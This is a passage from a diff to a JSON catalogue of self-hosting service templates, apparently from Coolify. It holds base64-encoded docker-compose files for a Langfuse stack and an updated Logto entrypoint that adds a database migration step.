iAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctLW5vLXZlcmJvc2UnCiAgICAgICAgLSAnLS10cmllcz0xJwogICAgICAgIC0gJy0tc3BpZGVyJwogICAgICAgIC0gJ2h0dHA6Ly8xMjcuMC4wLjE6MzAzMC9hcGkvaGVhbHRoJwogICAgICBpbnRlcnZhbDogMzBzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAzCiAgcG9zdGdyZXM6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE3LWFscGluZScKICAgIGVudmlyb25tZW50OgogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1sYW5nZnVzZS1kYn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3BnX2lzcmVhZHkgLWggbG9jYWxob3N0IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgcmVkaXM6CiAgICBpbWFnZTogJ3JlZGlzOjgnCiAgICBjb21tYW5kOgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICdyZWRpcy1zZXJ2ZXIgLS1yZXF1aXJlcGFzcyAiJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1JFRElTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICB2b2x1bWVzOgogICAgICAtICdsYW5nZnVzZV9yZWRpc19kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gJy1hJwogICAgICAgIC0gJFNFUlZJQ0VfUEFTU1dPUkRfUkVESVMKICAgICAgICAtIFBJTkcKICAgICAgaW50ZXJ2YWw6IDNzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGNsaWNraG91c2U6CiAgICBpbWFnZTogJ2NsaWNraG91c2UvY2xpY2tob3VzZS1zZXJ2ZXI6MjYuMi40LjIzJwogICAgdXNlcjogJzEwMToxMDEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnQ0xJQ0tIT1VTRV9EQj0ke0NMSUNLSE9VU0VfREI6LWRlZmF1bHR9JwogICAgICAtICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfY2xpY2tob3VzZV9kYXRhOi92YXIvbGliL2NsaWNraG91c2UnCiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfbG9nczovdmFyL2xvZy9jbGlja2hvdXNlLXNlcnZlcicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtLW5vLXZlcmJvc2UgLS10cmllcz0xIC0tc3BpZGVyIGh0dHA6Ly9sb2NhbGhvc3Q6ODEyMy9waW5nIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCg==", "tags": [ "ai", "qdrant", @@ -2607,7 +2622,7 @@ "logto": { "documentation": "https://docs.logto.io/docs/tutorials/get-started/#logto-oss-self-hosted?utm_source=coolify.io", "slogan": "A comprehensive identity solution covering both the front and backend, complete with pre-built infrastructure and enterprise-grade solutions.", - "compose": "c2VydmljZXM6CiAgbG9ndG86CiAgICBpbWFnZTogJ3N2aGQvbG9ndG86JHtUQUctbGF0ZXN0fScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICducG0gcnVuIGNsaSBkYiBzZWVkIC0tIC0tc3dlICYmIG5wbSBzdGFydCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MT0dUTwogICAgICAtIFRSVVNUX1BST1hZX0hFQURFUj0xCiAgICAgIC0gJ0RCX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbG9ndG99JwogICAgICAtIEVORFBPSU5UPSRMT0dUT19FTkRQT0lOVAogICAgICAtIEFETUlOX0VORFBPSU5UPSRMT0dUT19BRE1JTl9FTkRQT0lOVAogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdleGl0IDAnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBwb3N0Z3JlczoKICAgIGltYWdlOiAncG9zdGdyZXM6MTQtYWxwaW5lJwogICAgdXNlcjogcG9zdGdyZXMKICAgIGVudmlyb25tZW50OgogICAgICBQT1NUR1JFU19VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICBQT1NUR1JFU19QQVNTV09SRDogJyR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIFBPU1RHUkVTX0RCOiAnJHtQT1NUR1JFU19EQjotbG9ndG99JwogICAgdm9sdW1lczoKICAgICAgLSAnbG9ndG8tcG9zdGdyZXMtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcGdfaXNyZWFkeQogICAgICAgIC0gJy1VJwogICAgICAgIC0gJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUwogICAgICAgIC0gJy1kJwogICAgICAgIC0gJFBPU1RHUkVTX0RCCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", + "compose": "c2VydmljZXM6CiAgbG9ndG86CiAgICBpbWFnZTogJ3N2aGQvbG9ndG86JHtUQUctbGF0ZXN0fScKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICBlbnRyeXBvaW50OgogICAgICAtIHNoCiAgICAgIC0gJy1jJwogICAgICAtICducG0gcnVuIGNsaSBkYiBzZWVkIC0tIC0tc3dlICYmIG5wbSBydW4gYWx0ZXJhdGlvbiBkZXBsb3kgbGF0ZXN0ICYmIG5wbSBzdGFydCcKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfRlFETl9MT0dUTwogICAgICAtIFRSVVNUX1BST1hZX0hFQURFUj0xCiAgICAgIC0gJ0RCX1VSTD1wb3N0Z3JlczovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPU